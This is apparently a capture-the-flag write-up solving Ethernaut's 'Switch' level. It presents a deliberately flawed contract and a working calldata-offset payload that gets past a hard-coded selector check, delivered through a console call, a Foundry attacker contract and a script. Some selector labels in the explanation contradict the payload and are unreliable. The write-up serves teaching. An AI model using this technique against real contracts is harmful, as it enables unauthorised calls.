# The Ethernaut CTF Solutions | 29 - Switch

## Goals

[![](https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/29-switch-requirements.webp align="left")](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/29-switch-requirements.webp)

## The Contract

This one is a really fun one to finish this series with a super simple goal: Turn the switch on. Unlike the previous G[ate Keeper Three](https://blog.pedrojok.com/the-ethernaut-ctf-solutions-28-gate-keeper-three), the Switch challenge is far from easy, especially if you are not familiar with calldata and memory pointers.

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
    bool public switchOn; // switch is off
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

    modifier onlyThis() {
        require(msg.sender == address(this), "Only the contract can call this");
        _;
    }

    modifier onlyOff() {
        // we use a complex data type to put in memory
        bytes32[1] memory selector;
        // check that the calldata at position 68 (location of _data)
        assembly {
            calldatacopy(selector, 68, 4) // grab function selector from calldata
        }
        require(
            selector[0] == offSelector,
            "Can only call the turnOffSwitch function"
        );
        _;
    }

    function flipSwitch(bytes memory _data) public onlyOff {
        (bool success, ) = address(this).call(_data);
        require(success, "call failed :(");
    }

    function turnSwitchOn() public onlyThis {
        switchOn = true;
    }

    function turnSwitchOff() public onlyThis {
        switchOn = false;
    }
}
```

## The hack

Just have to flip the switch... And we even have a turnSwitchOn() function to do just that. However, this function is protected by the `onlyThis` modifier:

```solidity
modifier onlyThis() {
    require(msg.sender == address(this), "Only the contract can call this");
    _;
}
```

So only the `Switch` contract can call it. So let's take a look at the `flipSwitch()` function, after all, with such a name, it might just work!

```javascript
function flipSwitch(bytes memory _data) public onlyOff {
    (bool success, ) = address(this).call(_data);
    require(success, "call failed :(");
}
```

This function does an external call on itself, it seems too good to be true. We could simply pass the `turnSwitchOn()` function selector...

But let's take a look at the `onlyOff` modifier, in case:

```javascript
modifier onlyOff() {
    // we use a complex data type to put in memory
    bytes32[1] memory selector;
    // check that the calldata at position 68 (location of _data)
    assembly {
        calldatacopy(selector, 68, 4) // grab function selector from calldata
    }
    require(
        selector[0] == offSelector,
        "Can only call the turnOffSwitch function"
    );
    _;
}
```

Obviously enough, the goal of this modifier is to make sure we CAN ONLY pass the `turnSwitchOff()` function selector to the `flipSwitch()` function! So we will need to craft some custom calldata to pass the `turnSwitchOn()` function selector while making sure the `turnSwitchOff()` selector is positioned at the 68th byte of the calldata.

Well... How to do that?

### Calldata encoding

We know that each solidity types are stored in its hex form, padded with zeros to fill a 32-byte slot. For instance:

> uint256 `20` is `0x14` in hex, and would be stored like this: `0x0000000000000000000000000000000000000000000000000000000000000014`

For dynamic types, it is a bit different and solidity stores them as follows:

* first 32-byte is the offset of the data;
    
* second 32-byte is the length of the data;
    
* next are the data themselves.
    

Let's take the following array of prime numbers for instance: `uint256[] memory data = [2, 3, 5, 7, 11]`. It would be stored as follows:

```solidity
offset:
0000000000000000000000000000000000000000000000000000000000000020

length (5 elements in the array):
0000000000000000000000000000000000000000000000000000000000000005

first element value(2):
0000000000000000000000000000000000000000000000000000000000000002

second element value(3):
0000000000000000000000000000000000000000000000000000000000000003

third element value(5):
0000000000000000000000000000000000000000000000000000000000000005

fourth element value(7):
0000000000000000000000000000000000000000000000000000000000000007

fifth element value(11):
000000000000000000000000000000000000000000000000000000000000000B
```

And the output would be:

> 0x000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000050000000000000000000000000000000000000000000000000000000000000007000000000000000000000000000000000000000000000000000000000000000B

So, with that in mind, let's try to craft the calldata for the `flipSwitch()` function.

### Custom calldata

We will need the `turnSwitchOn()` and `turnSwitchOff()` function selectors:

```bash
cast sig "turnSwitchOn()"
=> 0x30c13ade

cast sig "turnSwitchOff()"
=> 0x20606e15
```

Now, why is the `onlyOff` modifier targeting the position 68?

* The first 4 bytes are the function selector;
    
* The next 64 bytes are the offset and the length of the data;
    

So the data, which is the function selector, starts at the 68th byte. What if we play with the offset and tell the function that the data starts at position 96 instead?

```bash
function selector turnSwitchOn:
30c13ade

offset: (96-byte instead of 68-byte)
0000000000000000000000000000000000000000000000000000000000000060

extra blank 32-byte:
0000000000000000000000000000000000000000000000000000000000000000

function selector turnSwitchOff at position 68:
20606e1500000000000000000000000000000000000000000000000000000000

data length (4-byte):
0000000000000000000000000000000000000000000000000000000000000004

data containing the function selector that will be called:
76227e1200000000000000000000000000000000000000000000000000000000
```

And here is the output:

> 0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000

The `turnSwitchOn()` function selector is positioned at position 68, however, it is not relevant anymore as we are telling the function that the data starts at position 96 instead! We can finally call the `flipSwitch()` function to toggle the switch on!

## Solution

### In the browser's console:

```javascript
await sendTransaction({
  from: player,
  to: instance,
  data: "0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000",
});
```

### In Foundry using `forge`:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Switcher {
    address private immutable switchContract;
    bytes4 public onSelector = bytes4(keccak256("turnSwitchOn()"));
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

    constructor(address _switchContract) {
        switchContract = _switchContract;
    }

    function toogle() public {
        bytes
            memory data = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000";

        (bool success, ) = switchContract.call(data);
        require(success, "Toogle failed!");
    }
}
```

Now we can craft the script for deployment:

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Switcher} from "../src/29_Switch.sol";

interface ISwitch {
    function switchOn() external view returns (bool);
}

contract PoC is Script {
    // Replace with your Switch instance
    address private immutable switchContract =
        0x71d674183F060C9819002181A2cDBa21520D17c2;

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        Switcher switcher = new Switcher(switchContract);
        switcher.toogle();
        console2.log(
            "Is the switch on yet? ",
            ISwitch(switchContract).switchOn()
        );

        vm.stopBroadcast();
    }
}
```

And the command to run the script:

```bash
forge script script/29_Switch.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY
```

Let's check the result:

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1713943631459/ecd92728-c98e-4b74-80dc-3196776740e1.png align="center")

**🎉 Level completed 🎉**

## Takeaway

* Calldata encoding is a crucial part of the Ethereum Virtual Machine (EVM).
    
* Assuming positions in CALLDATA with dynamic types can be erroneous, especially when using hard-coded CALLDATA positions.
    

## Reference

* Transaction Calldata Demystified: [https://www.quicknode.com/guides/ethereum-development/transactions/ethereum-transaction-calldata](https://www.quicknode.com/guides/ethereum-development/transactions/ethereum-transaction-calldata)
    

---

You can find all the codes, challenges and their solutions on my GitHub: [https://github.com/Pedrojok01/Ethernaut-Solutions/](https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md)
